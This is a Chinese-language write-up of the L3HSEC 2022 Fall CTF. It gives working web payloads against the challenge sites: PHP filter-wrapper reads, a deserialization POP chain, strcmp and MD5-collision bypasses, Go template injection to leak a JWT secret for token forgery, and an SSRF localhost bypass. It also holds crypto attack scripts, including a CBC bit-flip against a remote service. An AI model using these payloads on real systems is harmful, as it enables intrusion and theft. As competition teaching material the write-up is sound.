Misc(未解出)
2022 Fall Signin
蹲着等了一分钟,手速没拼过,错失前三
Flag:L3HSEC{w3lc0m3_L3HSEC@2022_FALL}
直接提交即可
QRShuffle
观察很久没观察出个啥隐藏信息,于是只能用定位角来筛选每一行所能够放的图片,然后拼接用cv2的qrdetector来尝试识别,最后还是失败了,附上写的筛选代码和手筛推出的结论
import random
import cv2
import os
import numpy as np
def png2array(path):
png = cv2.imread(path)
gray = cv2.cvtColor(png, cv2.COLOR_BGR2GRAY)
row = np.empty([1, 29], dtype=int)
for i in range(29):
row[0][i] = 1 if gray[0][i * 10] == 0 else 0
return row
img = dict()
img_list = list()
for root, dir, files in os.walk('./qrslices'):
for file in files:
img[file] = png2array(os.path.join(root, file))
img_list.append(file)
width_i = 290
height_i = 10
row_max = 29
def check(list):
global toImage
detector = cv2.QRCodeDetector()
for i, img_name in enumerate(list):
png4concat = cv2.imread(os.path.join("./qrslices", img_name))
if i == 0:
toImage = cv2.imread(os.path.join("./qrslices", img_name))
else:
toImage = cv2.vconcat([toImage, png4concat])
cv2.imshow('img', toImage)
try:
res, points, code = detector.detectAndDecode(toImage)
# print(res, points, code)
if res:
with open('./flag.txt', 'a') as f:
f.write(res)
cv2.imwrite('./test{0:d}.png'.format(random.randint(1,10000)), toImage)
except:
cv2.imwrite('./error{0:d}.png'.format(random.randint(1, 10000)), toImage)
# toImage.save("./test.png")
# img = cv2.Image.fromarray(martix)
def Rerange(list1, start, end):
i = 0
if start == end:
# print(list1)
# got a range
flag=1
print(list1)
for i, img_name in enumerate(list1):
row = img[img_name][0]
if (i == 0):
if not (all(row[0:7] == 1) and row[7] == 0 and row[21] == 0 and all(row[22:] == 1)):
flag=0
break
if (i == 1 or i == 5):
if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0 and
row[21] == 0 and row[22] == 1 and all(row[23:28] == 0) and row[28] == 1):
flag = 0
break
if (i == 2 or i == 3 or i == 4):
if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[
7] == 0 and
row[21] == 0 and row[22] == 1 and row[23] == 0 and all(row[24:27] == 1) and row[27] == 0 and
row[28] == 1):
flag = 0
break
if (i == 6):
if not (all(row[0:7] == 1) and row[7] == 0 and row[21] == 0 and all(row[22:] == 1)):
flag = 0
break
if not (all(row[8:21:2] == 1) and all(row[9:20:2] == 0)):
flag = 0
break
if (i == 7):
if not (all(row[0:8] == 0) and all(row[21:] == 0)):
flag = 0
break
if (i >= 8 and i <= 20):
if (i % 2 == 0):
if not (row[6] == 1):
flag = 0
break
if (i == 20):
if not (all(row[20:25] == 1)):
flag = 0
break
else:
if not (row[6] == 0):
flag = 0
break
if (i == 21):
if not (all(row[0:8] == 0) and row[8] == 1 and row[20] == 1 and all(row[21:24] == 0) and row[24] == 1):
flag = 0
break
if (i == 22):
if not (all(row[0:7] == 1) and row[7] == 0 and row[20] == 1 and row[21] == 0 and row[22] == 1 and row[
23] == 0 and row[24] == 1):
flag = 0
break
if (i == 23):
if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0 and row[20] == 1 and all(
row[21:24] == 0) and row[24] == 1):
flag = 0
break
if (i == 24):
if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[
7] == 0 and all(row[20:25] == 1)):
flag = 0
break
if (i == 26 or i == 25):
if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[
7] == 0):
flag = 0
break
if (i == 27):
if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0):
flag = 0
break
if (i == 28):
if not (all(row[0:7] == 1) and row[7] == 0):
flag = 0
break
if(flag):
check(list1)
else:
for i in range(start, end + 1):
list1[start], list1[i] = list1[i], list1[start]
Rerange(list1, start + 1, end)
list1[start], list1[i] = list1[i], list1[start]
Rerange(img_list, 0, len(img_list) - 1)
手筛的结果:list后面的序号表示这几个位置从这个list的元素中选,最后共剪枝到12,441,600种可能,虽然最后还是没发现
list_1_5 = ["19.png", "28.png"]
list_1_5s = []
Rerange1(list_1_5, list_1_5s, 0, len(list_1_5) - 1)
list_2_3_4 = ["4.png", "8.png", "24.png"]
list_2_3_4s = []
Rerange1(list_2_3_4, list_2_3_4s, 0, len(list_2_3_4)-1)
list_8_10_12_14_16_18=["3.png","12.png","10.png","17.png","21.png","23.png"]
list_8_10_12_14_16_18s=[]
Rerange1(list_8_10_12_14_16_18, list_8_10_12_14_16_18s, 0, len(list_8_10_12_14_16_18)-1)
list_9_11_13_15_17_19=["0.png","13.png","15.png","25.png","7.png","9.png"]
list_9_11_13_15_17_19s=[]
Rerange1(list_9_11_13_15_17_19, list_9_11_13_15_17_19s, 0, len(list_9_11_13_15_17_19)-1)
list_25_26=["27.png","5.png"]
list_25_26s=[]
Rerange1(list_25_26, list_25_26s, 0, len(list_25_26)-1)
final_list = ["22.png"]
sum=6*5*4*3*2*1*6*5*4*3*2*1*6*4
with tqdm.tqdm(total=sum) as pbar:
for i_1_5 in list_1_5s:
tmp_1_5 = list(final_list)
tmp_1_5.append(i_1_5[0])
for i_2_3_4 in list_2_3_4s:
tmp_2_3_4=list(tmp_1_5)
tmp_2_3_4+=i_2_3_4
tmp_2_3_4.append((i_1_5[1]))
tmp_2_3_4.append("6.png")
tmp_2_3_4.append("1.png")
for i_8_10_12_14_16_18 in list_8_10_12_14_16_18s:
for i_9_11_13_15_17_19 in list_9_11_13_15_17_19s:
tmp_LL = list(tmp_2_3_4)
for i in range(0,6):
tmp_LL.append(i_8_10_12_14_16_18[i])
tmp_LL.append(i_9_11_13_15_17_19[i])
tmp_LL.append("2.png")
tmp_LL.append("20.png")
tmp_LL.append("26.png")
tmp_LL.append("18.png")
tmp_LL.append("14.png")
for i_25_26 in list_25_26s:
tmp_25_26=list(tmp_LL)
tmp_25_26+=i_25_26
tmp_25_26.append("11.png")
tmp_25_26.append("16.png")
#print(tmp_25_26)
check(tmp_25_26)
pbar.update(1)
图片套中套
拿到文件,打开发现里面有一张图片,但是无法显示,winhex查看一下
发现文件头是50 4B 03 04,是压缩文件,将后缀改为zip,打开发现里面有一张图片,解压发现需要密码:
分析发现是伪加密,使用ZipCenOp.jar修改后打开压缩包,得到图片:
用stegsolve打开发现一直卡住,且在kali中无法打开,猜想文件格式错误,可能有隐藏信息,pngcheck一下
用winhex打开,发现IEND后还有一大块数据:
之后就不会了,真misc一道都不会
WEB
Easyphp
打开页面,审计源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the l3hsec_ctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
需要传入两个参数满足条件:
text
:使用php伪协议(input和data都可)传入文件内容payload:php://input
POST data:welcome to the l3hsec_ctf
file
:使用filter协议读取(很容易猜到flag过滤是因为useless.php中含有flag),因此使用base64+filter绕过payload:?file=php://filter/read=convert.base64-encode/resource=useless.php
输入构造好的payload,解码后得到useless.php源码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
因此只需要让file=flag.php,然后把序列化的对象作为password的值输入即可
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$flag= new Flag();
echo($flag);
?>
最终的payload:
text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST DATA:welcome to the l3hsec_ctf
查看源码得到flag
Easyphp_plus
扫描目录,发现source.php
<?php
error_reporting(E_ALL || ~E_NOTICE);
$text = $_GET["text"];
$password = $_GET["password"];
if (isset($text) && (file_get_contents($text, 'r') === "welcome to the l3hsec_ctf")) {
echo "we meet again !";
echo "<br><h1>" . file_get_contents($text, 'r') . "</h1></br>";
if (preg_match("/flag/", $file)) {
echo "Not now!";
exit();
} else {
echo "next part!<br>";
if (strcmp($_POST['str1'], $_POST['str2']) == 0 && $_POST['str1'] != $_POST['str2']) {
echo "clever guy!<br>";
echo "now go to final part!<br>";
if ((string)$_POST['final_str1'] !== (string)$_POST['final_str2'] && md5($_POST['final_str1']) === md5($_POST['final_str2'])) {
echo "u are really clever !";
$file = $_GET["file"];
include($file); //really_useless.php
}
}
}
} else {
highlight_file(__FILE__);
}
需要满足条件:
text
:使用php伪协议(由于还要传入其他POST数据,所以text不能用input协议)传入文件内容text=data://text/plain,welcome to the l3hsec_ctf
- 数组绕过strcmp检测
- str1[]=1&str2[]=2
- 由于有string转换类型,因此不能用数组绕过
fastcoll生成MD5相同的文件,因为有不可见字符,URL编码后传输final_str1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
final_str2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
- 对文件内容有过滤,file伪协议采用base64编码传输
file=php://filter/read=convert.base64-encode/resource=really_useless.php
最终得到really_useless.php文件:
class Test
{
public $p;
public function trick(){
echo "wrong!";
}
public function __construct()
{
$this->p = $this->trick();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
class Attention
{
protected $var;
public function include_file($value)
{
include($value);
}
public function __invoke()
{
$this->include_file($this->var);
}
}
class Show_str
{
public $path;
public $str;
public function __wakeup()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->path)) {
echo "no way!";
$this->path = "index.php";
}
}
public function __construct($file = 'index.php')
{
$this->path = $file;
echo 'Welcome to ' . $this->path . "<br>";
}
public function __toString()
{
return $this->str->path;
}
}
if (isset($_POST['pop_chain'])) {
@unserialize($_POST['pop_chain']);
}
审计源码,发现需要构造一条POP链,思路如下:
- 首先寻找危险函数,发现类Attention中有危险函数
include
,要利用include
读取flag.php
,就肯定要调用invoke
- 将
$this->p
传递为class Attention
的对象就会自动触发invoke()
- 将
$str
传参为Test
的对象,Test
中没有path
方法就会调用get()
path
是Show
的对象,在construct
的时候因为echo,就会自动调用toString()
而__wakeup()
是自动调用的,整个链条就形成了
__wakeup() => __toString() => __get() => __invoke() =>include(flag.php)
构造序列化数据
<?php
class Attention{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show_str{
public $path;
public $str;
public function __construct($file='index.php'){
$this->path = $file;
}
}
class Test{
public $p;
}
$a=new Show_str();
$a->str=new Test();
$a->str->p=new Attention();
$b=new Show_str($a);
echo urlencode(serialize($b));//url编码因为protected和private类型的变量反序列化的时候会有00*00,编码后可不用管
?>
得到URL编码的反序列化数据,传输得到flag.php的base64编码,解码即可
gogogo
分解一下源码,就以下几个功能:
注册:http.HandleFunc("/regist", regist_handler)
func registHandler(res http.ResponseWriter, req *http.Request) {
uid := req.FormValue("id")
upassword := req.FormValue("password")
if uid == "" || upassword == "" {
return
}
if getAccount(uid).id != "" {
res.WriteHeader(http.StatusForbidden)
}
if len(accounts) > 1024 {
clearAccount()
}
newAcc := Account{uid, upassword, false, secret}
accounts = append(accounts, newAcc)
p := Res{true, "Registration success"}
response, err := json.Marshal(p)
if err != nil {
res.WriteHeader(http.StatusInternalServerError)
}
res.Write(response)
}
注册一个账户:
/register?id=111&password=123
登陆:http.HandleFunc("/auth", authHandler)
func authHandler(res http.ResponseWriter, req *http.Request) {
uid := req.FormValue("id")
upassword := req.FormValue("password")
if uid == "" || upassword == "" {
return
}
if len(accounts) > 1024 {
clearAccount()
}
userAcc := getAccount(uid)
if userAcc.id != "" && userAcc.password == upassword {
token, err := jwtEncode(userAcc.id, userAcc.isAdmin)
if err != nil {
res.WriteHeader(http.StatusInternalServerError)
}
p := Res{true, token}
response, err := json.Marshal(p)
if err != nil {
res.WriteHeader(http.StatusInternalServerError)
}
res.Write(response)
return
}
res.WriteHeader(http.StatusForbidden)
}
登陆注册的用户:
发现一个有点像模板注入的东西:解码jwt token得到id,根据id取对应的account
func indexHandler(res http.ResponseWriter, req *http.Request) {
token := req.Header.Get("lToken")
if token != "" {
id, _ := jwtDecode(token)
nowAccount := getAccount(id)
// 可能是模板注入
templ, err := template.New("").Parse("Logged in as " + nowAccount.id)
if err != nil {
res.WriteHeader(http.StatusInternalServerError)
}
templ.Execute(res, &nowAccount)
} else {
res.Write([]byte("Not logged in"))
}
}
flag handler验证id_admin是不是true
func flagHandler(res http.ResponseWriter, req *http.Request) {
token := req.Header.Get("lToken")
if token != "" {
id, isAdmin := jwtDecode(token)
if isAdmin {
p := Res{true, "Hi " + id + ", flag is " + flag}
response, err := json.Marshal(p)
if err != nil {
res.WriteHeader(http.StatusInternalServerError)
}
res.Write(response)
} else {
res.WriteHeader(http.StatusForbidden)
}
}
}
而解开jwt token需要sercet_key,因此思路是利用ssti得到secret_key,伪造jwt得到flag
payload:{{.}}
直接使用{{.}}
会不显示,我猜想是有什么过滤之类的,随便加点东西11{{.}}
,然后登陆得到token,使用得到的token访问/,得到secret_key
使用secret_key伪造jwt token
访问getFlag,得到答案
PySSRF
根据提示,尝试访问127.0.0.1,发现被过滤,访问127.0.0.2绕过过滤,进行端口爆破,发现14514端口响应长度不同,查看响应得到flag
Crypto
EasyAES
分析task.py,得到以下几个信息:
- 采用AES算法处理输入的数据,采取CBC模式加密
- 解密验证除去padding字符外的后五位是否为admin,如果为admin,则将去除了padding字符的原文返回
- 输入的内容会经过处理再加密:先加上前缀"flag=" + flag+ “&userdata=”,然后跟上输入的内容,最后加上后缀
“&user=guest”
因此思路非常明晰:修改加密后的内容,使得guest变成admin,然后通过检查输入明文
注意到guest和admin的长度一致,采用CBC翻转攻击恰到好处,具体原理参照这篇
最终的脚本:
from hashlib import sha256
import string
from pwn import *
import binascii
from pwn import *
import base64
import binascii
context.log_level = 'debug'
pad = 16
# r = remote("ctf.l3hsec.com",40000)
BANNER = rb'''
______ ___ ___________
/ ____/___ ________ __/ | / ____/ ___/
/ __/ / __ `/ ___/ / / / /| | / __/ \__ \
/ /___/ /_/ (__ ) /_/ / ___ |/ /___ ___/ /
/_____/\__,_/____/\__, /_/ |_/_____//____/
/____/
'''
x=40
r = remote("ctf.l3hsec.com", 40000)
_, __= r.recvline_startswith('sha256(XXXX').split(b'+')
proof_right,___=__.split(b')')
proof_right=proof_right.decode()
hash_value=___.split(b'==')[1].strip().decode()
alphabet = string.ascii_letters + string.digits
BLOCK_SIZE=16
idx = (22+x+pad)%BLOCK_SIZE + ((22+x+pad) // BLOCK_SIZE -1 ) * BLOCK_SIZE
for i in alphabet:
for j in alphabet:
for k in alphabet:
for l in alphabet:
nounce = ""
nounce += i
nounce += j
nounce += k
nounce += l
proof = nounce + proof_right
if (sha256(proof.encode()).hexdigest() == hash_value):
r.sendline(nounce)
r.sendlineafter(b'> ', b'1')
#这样能把最后加密的明文控制在79,padding一个0刚好80为分组长度整数倍
data = b'a' * 13
r.sendlineafter(b'Input your data > ', data)
temp = r.recvline()
cipher = list(binascii.unhexlify(temp[:-1]))
BLOCK_SIZE = 16
prefix = b'flag=' + b'a' * x + b'&userdata='
suffix = b'&user=guest'
plain = prefix + data + suffix
# idx = 79-1(pad)-5-16+1=58
idx=58
cipher[idx + 0] = cipher[idx + 0] ^ ord('g') ^ ord('a')
cipher[idx + 1] = cipher[idx + 1] ^ ord('u') ^ ord('d')
cipher[idx + 2] = cipher[idx + 2] ^ ord('e') ^ ord('m')
cipher[idx + 3] = cipher[idx + 3] ^ ord('s') ^ ord('i')
cipher[idx + 4] = cipher[idx + 4] ^ ord('t') ^ ord('n')
print(cipher)
stemp = ''
for i in cipher:
stemp += '{0:02x}'.format(i)
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'Input your data > ', stemp)
msg = r.recv().decode()
if 'you are not admin' not in msg:
print(msg)
break
r.close()
最终得到flag
babylattice
按照提示不用管密钥生成和加密方式,但是我觉得还是得看下密钥生成方式,手推一次加解密过程才知道怎么去找对应的解法
可以看到密钥生成方式是中国剩余定理,根据题目的提示采用LLL算法,搜索相应关键字“基于中国剩余定理的加密算法”、“SVP”,找到这篇文章:
根据这篇文章,exp如下:
from Crypto.Util.number import *
from gmpy2 import *
b = 4189473361699107217737455396325088183647459520762101844169276157097419075741053441908981220101313628265591679932243646157798614301613216353417792680603839858901174261567329713633368998538198056432420816170813002537470510824573399752841629555419679351092677995791781611216455311460445828456846800858725856162256100067573160931447899995435540614262179047903010321235756321175798141083436561191248808099344601597758766820841247581087589633697583254347697761793900573665246657473720690746138551714675250189501879568866675887888686723079957824448238872953452272361956750464846476924307112817686274952080706114911155289034
n = 30170308825909440240941693170939367334844821029782821583570286983621317423766747822577757211569710529434922653573394476313387108250546033911130407881340763005349634115809559639000580648954090023789960388140320537310747484117427519820928316981758092673239883392417557736050921582197605939646396980954720533323414256630686099446261753358351411238396130783891149857357027291221573230409509048705778418933333222633966392788758816068035934002821259179676663605591341303639187677648104559149755696406916456100816247187169100673215113617431212731694921337661569998483380390854882572497881679266213674621353132753251285674879
c = 19661634891727868222099095136901659122829263085237461320517222981876652326584941755935506785466085397036381223656214442840957349568180244494668190067815213431417256096310086121818289755995699360954357693424193788225178162274067850236827814176875911714566055084460381321125690331794418319416858945534037236453043872268977446605497332255455791777458776451967443335677366617943606110582961257994038716809851649891403946938458466692396540759794689041919886188803459600803037044031173965809992390886542083555310737152473443561114918788410017103228518549269127033118974044150781161071975706470208883873841803874769550571522
c0= getPrime(384)
print(c0)
M = Matrix([[c0,c,0], [0, n,0],[0,b,1]])
c0,r,m=M.LLL()[0]
print(abs(c0))
print(abs(r))
print(abs(m))
m=635792580719987487237521719205940515395485350520512925835933137041624512543082883368059187508605
print(long_to_bytes(m))
#L3HSEC{5b820f48d1343d31363cc0dac13f6a45}
Enumerate
根据题目观察到,dp的范围很小,可以枚举dp,利用dp的方式推导如下:
得到p后常规方式解密即可,因此exp如下:
import gmpy2
from tqdm import tqdm
from Crypto.Util.number import *
e = 9740781703255167949548123833848215149877626495081674933142965833082481258763865707394139077323296213902576949525913789361227955594348739778431568575200626895877575505323576444925031191752727771006703809829661370655525453928637863429255767149436602506308217376851087219374068619428331249987945029230645195675365532084992172677730849508489796968035620029349007985088753700265630944472728606629666980931589653596536113250131391348183113731287183970926226775901059693777416386060232254013038521518675853176199355416657186428116869781176129682611345114490715380905522488854076217805953516080743984818977772510583599165735839947549121286248871957626787616620758307637455779386102223263163159704189933161215617684365136652215048721464423890172392837117499545210952758632649460511770369227301511754763524945623877479483272848832957727752908537766989174534584178325252590507812487070473324909694680145939059475164290107680204220843
n = 11357659237666674240934225650391720822390721411452960439881947096105621174907351048346074927045069888978545428551201151720025746283825826680089265987635245602830278152775526322284079045425029614153114122274852867020863183564566383266771779753113268775452055147839364280217785501763602013410444043430296433087648490237502969276137406959871089025763302898032365525302466212940057329970006464665158381696891629915747198606169376463888484997648951753716250228670296683149437147468190405098264714157319310013875051869172049772174474421632876993462750616436198655419004432906183104359396291098129598907614245732147810886674660972882945098621568901552565568789643050245058975004065076083918362123951478516142404319720427704877611945660779061188295887840206292880785654832673219313976166018329236350345410958364451116766528032072551273749780134377286501549470464581380266571495326862431452362532393190442596165340428148379457549853
c = 1131977991988855066836892559519102207408389404589146139755618624579609057043505264198231412434810590033448922113978363490216414481634255152515339530378094931124211926205934960308171369849646157354571769943343892303056766595323897957933529009255763771136887899951354696979354358287194937861107926637351718834851868538485277199969096361570170668230845028674639022656371805283155005125382578519862624232820526466122735438576704510740565677790504486181307338390152665031018372392185896360680634433567740175635802241889019357079063737919124911215414577755467068028318581704439240642134533337632917147914689118763552596456783600957736581898954687392934717182573492836069212047607447109589346717662253654983985776731863661502199327024116991484495789879610980113057721444254373434771811794021887841371612297493485477292587673302680012021201748037361650835964264374321655771163859216207663133566121792757560084636452186401825189222
N = gmpy2.mpz(n)
E = gmpy2.mpz(e)
C = gmpy2.mpz(c)
m = 1000000007
sp = gmpy2.powmod(m, e, N)
for dp in tqdm(range(1, 2 ** 24)):
p = gmpy2.gcd(gmpy2.powmod(sp, dp, N) - m, N)
if (p != 1):
print(p)
break
p = 10908066707177146155904250318930229417482273071398885295926728094305127359974260239186202297547236800858997957266511471068768263205127603236179680718768696952960183605175357400195059272632703121592370484512734828603038877452481864196442331534258474372145057809104614707943592508823488426161331793579065117253
P = gmpy2.mpz(p)
q2 = N//P
q = gmpy2.iroot(q2,2)[0]
print(q)
D = gmpy2.invert(E, (q - 1) * q * (p-1))
M = gmpy2.powmod(C, D, N)
print(long_to_bytes(M))
最后得到flag:L3HSEC{e45a97feae04d7f0dcd7755694c09cc0}
factor1
已知e、d、n求p、q,算法证明如下:
故exp如下:
from Crypto.Util.number import *
import gmpy2
import random
n = 780491159925374078079694766172000112950674266127159263270904266398457665489354488598985941459209996685747761696777261230244236610716395558987373054967279280159580287538529727244218639449643929440865261610239602189450389207521041946919358523747975699917497871075699552393581503787516690113483532766199910971787868995714516467423433538247037790983728676059295803524400509301044135187330649580649701407044241781143533230324291243220825066967574348343353624065465087675047146386017470164891254218722752572488498240694199913603131490703180540048971402063303991580464615594734567990113147243077450666339795682517203172570876220775446186236450127617733559900806705499120489254188977149657296512187018967198020650948891695638805889187309932139521044745682261094834856259036813808181896607991255604746298933463668645117545004072621788455138197000330901630155082520569312093628925418370636159398049007329481747978596918008442791298688187139258866198132191837822471839643273442018433390971982814642749608613805109743747313588832557028300817214342192313987931035043475884455221933854613667004304141650468718022743012236173327841920034753252453775123951583991969794858384056834905390640209954651686519896265355772982051671379676757359575060742723
x = 20411848151378778016021803257438162337639089296187764247925600674104035552981977642978371218318611568638490506396339780498058301852395770360071122379698196812117948321508424934068797092140436657845682361810053840168055524473477202168213775670997378732040111468862939212556900197363131996311741573746990904411115715872661489100086033760275739668800190137913167573970033993514666751741226260035785329166334734757191558717651333225113959727871479658906094705774208360281497238533503105609682480071403252741426708436390865708907888117032825241389494475425886504319130195431793037445260242623713145210314584241783174172747
c = 517437151614395774387934943212894827067328552331077589669043762423544310921356670216891443155584342926711113867553500472357535252808031682503510895829490773147392607043697244218561563739743114702355943455565405905417116942187606904090237019476603953433668816891848300281327453830871126385209424075838535538623254412298984796500478823593325893555498501563168013679241209030186498185297427186554402590002275699484261269709992031426037140540498839177355106593456865036241923942917669397198866986022864334545984739400097593415485834943750798676683727753480955318814185133341123525440706890929292281015288040042731291601924151890223448530581203669896774463659269512047333068238428853293932576322075444262051216411258458292023225031204970362270649057726281284601625783197675852595671412747443260513971581699862845237699332242005839575745947303852385431216201241930220626144968322663681338897810888243583899676882893601271624301966607787966390924785266958954787097563994306672053350780074888418831475872549371164112472990483830948421605126478428372400039240280417434171996117288261657858789757782308315872826687094337842469282706662480473882262395476466905923042513044547589058272453266351579995009973913777804682276848830094685543948594943
kphi = n*x - 1
def getpq(n,e,d):
while True:
k = e * d - 1
g = random.randint(0, n)
while k%2==0:
k=k//2
temp=gmpy2.powmod(g,k,n)-1
if gmpy2.gcd(temp,n)>1 and temp!=0:
return gmpy2.gcd(temp,n)
fac1 = getpq(n,n,x) #pq
fac2 = n//fac1 #p^2
p= gmpy2.iroot(fac2,2)[0]
q = fac1//p
e = 0x10001
d = inverse(e,pow(p,2)*(p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
得到flag:L3HSEC{ece13b084c54fe6b1e8e65e213e67ec7}
factor2
接下来由399.pdf (iacr.org) 的部分结论
得到:
a的大小能够先计算出来,而x的大小可以用copper-smith算法求得(图源):
故exp如下:
from Crypto.Util.number import *
import gmpy2,hashlib
# sagemath
c = 64348560778210035485799671390154695897453592495407073065506104275617393737946246692622951028425078089778024895362893050850450470916956316819587441719985900367828161351188490093123567264735778073437159834204089867077987956939775879953564294829553161064997967332581428673347982657437106382140809532325583705612
N = 1078539747919673853919411204899228458878633778262324459385355713547566400004697903143330733969460010964398164028359499880899877828002215794175086743848297049288335697358143839723719222579706965442134154325889887674023840975769329825236531811285711766133187639497583153819957992824026123680262593318303379138225078268891436748091757857603215315962019382381765076316901889216313808782503539248571640394389007482110017169252023994063210033365778681157210401434951579215165060975359306095159714917332816715649519729877273253846247285046471178485525863453986133031276931316829008726108819000563789319413166779681161986401205940637150305118565905215777131019985357664705108010875158854683168085163002091159684306358744358777540257830877172397351494204783426969363655396993615748602920419791070799044268664971577463432327953343062973486069419816472941434309710007779740116747587858432558104082669671984047964456830876875541717006339
e1 = 559147556710870967152736763021253558035580508696715241651085899110170858881432001991300403655368510400761899365466999902402340069800653268981599333175020503773490940620023403052013452083038161581725192457329104566393575541090603145652823629859833945114984160010248317499867341549554557763084136841210113299448578404652675609039996313385053372863174211224353291169563464103565740587064837549134155520904845421447974116498694893094841467418344681252560945914252173708682940993710868173242625840633222001873907486791968090037854085606329477339793562636375532934681663222430175247233404379910746963929875234006959799252491831321148495329132557398814730196262395338356058212655307239751393451886761936177607021228945200257522315975354755715426336651910772499613226636071592463946305758874388403964335933812656037104788601811395942384577129926237110009954635975292118494226469146239832309237338972246345667464131095112354129424923
e2 = 184913331005658981413860627187724764115450270160234476671196285425093281141286141663637211483658566771223583127974895155580959434458085915781983791773036811496260126835859427231977289002809122452792252735892425752782624552058821572533274672550457033380029604401037863530125687191345879813341810855133665260614657339594421397678065507044776241168822131895054665081000651078616961235733580528753120435627071612259406536893675916118594179986988895048136713596913923856391426754274273067536919043273532453310646294138027855669891428145024027693565201665768447983425793779957101096313895681570865564145995084987335722177704185643085354735810704707921213622403116694916492986431102717619649567390642729559098846715054129674856021858993927148109961825287423881475496664658264576213335217347578857676593778280473024731290373873709198694435757416317195947118090084708407952592268222792565652148918136760497897617149042261344439096843
e = 0x10001
# r = 5
# a = (e2 - e1) * gmpy2.invert(e1*e2,N) % N
#
# # assert a < N
# P.<x> = PolynomialRing(Zmod(N))
# f = x - a
# x = f.small_roots(X = 2^1000,beta = 0.4)
# x = x[0]
# k_phi = e1*e2*x - (e2 - e1)
# p_ = gcd(k_phi,N)
#
# p = gmpy2.iroot(int(p_),r - 1)[0]
# print(p)
# q = N // (p**r)
# print(q)
# python 得到pq填进来
p = 10134252723158601275003401522062911941019213178377309828899216057830309479124971513229375798244460254309472951083952534414181570421639637062378074545198567
q = 10089682575064609822335162261808299507782354278526589188667180497420394623894782442835864203666572501413895127989042146506692875908676883121823556370595877
n = p*q
print(n)
print(N)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi_n)
# # print(n)
m = pow(c,d,n)
print(m)
#python
print(long_to_bytes(m))
得到flag:L3HSEC{dfb3d3de9415a97de10db5e2bb37e989}
factor3
首先观察到p,q相近,因此可以用fermat分解分解n,用yafu分解n得到p、q
根据提示这是paillier加密系统,查一下有关资料
因此exp如下:
from Crypto.Util.number import *
import gmpy2, hashlib
n = 22889982902417034800127488615522188269161335611128463175153634895761490768123310672181751076395496184287173971404460091604335144824937803268739072522772160429129114533289466803329478478610768475259393484505796849105644413094592553931614430108309044763123253519039288636875662172527111175175504306433174562237342839974296015394507497064555838288513379826263041151256818682477662822883279390498732000378420631353274173497837036168507421039979553165402819147514403204718848808453925691188944881096556885227979301201958233825246300664680118714644725554763486058397565152855367885599037125097745700481608993746107199627361
g = 118512866713154684097758336076373272543604752247794247908195648184919283682465530594891138891242684408084813526269774836670746989713370905399929806878522988087894384549545727992095909179831937754821845237920552212448799864376452076230461633904068132380583549598486236346126066975066934707087357849706146422147
c = 402524615762464185322455964035678210271457645602741560700582804752346599476498485026171991644294426385449028303574466019965686278702934894021473624944901863078297347332434973194039256807731669138981245077336640990683139297446590177651688152206448227106739329391062183361166138659760958729437820978456565716582305241824155953785721088851961931702879836093635562515028625948889311130859119813486196205285371730679712227648556969822704053786004710285672794458112688297050851763331831786845133375228109899988733704488782428539375612492786095275725996229472538667063558446434890133230910107142161123924664473346858515868643473427879055110282365504144398591653082374805652547946769077359931833316147574314879719465805993289685341805705647599026757217037493441645667371806974466089647718145307911929008326852983748926680196218859689651972158406550489043923558002502299464805906205611788368536685662616409590334321418140395436132634719654890284668919174632001808239783736307689420626212762848237559302065640364611175532179849324304655361158071958027432185229884042563808671418150254297767374072836634154198628640949231200723239112340625851821639701905671759867153360325799723130341048416432354977547089690117923609834416703444693132209529702
# yafu yafu-x64.exe factor() fermat for p q is very similar
p = 151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034752551291048950379208931239612446816776570292261456498267930751158600739489871
q = 151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034638359897173265608351983200085033580050324339561151797892420042387509176922191
def dec(n, g, LAMBDA, c):
L1 = (pow(c, LAMBDA, n ** 2) - 1) // n
L2 = (pow(g, LAMBDA, n ** 2) - 1) // n
m = (gmpy2.invert(L2, n) * L1) % n
return m
LAMBDA = gmpy2.lcm(p - 1, q - 1)
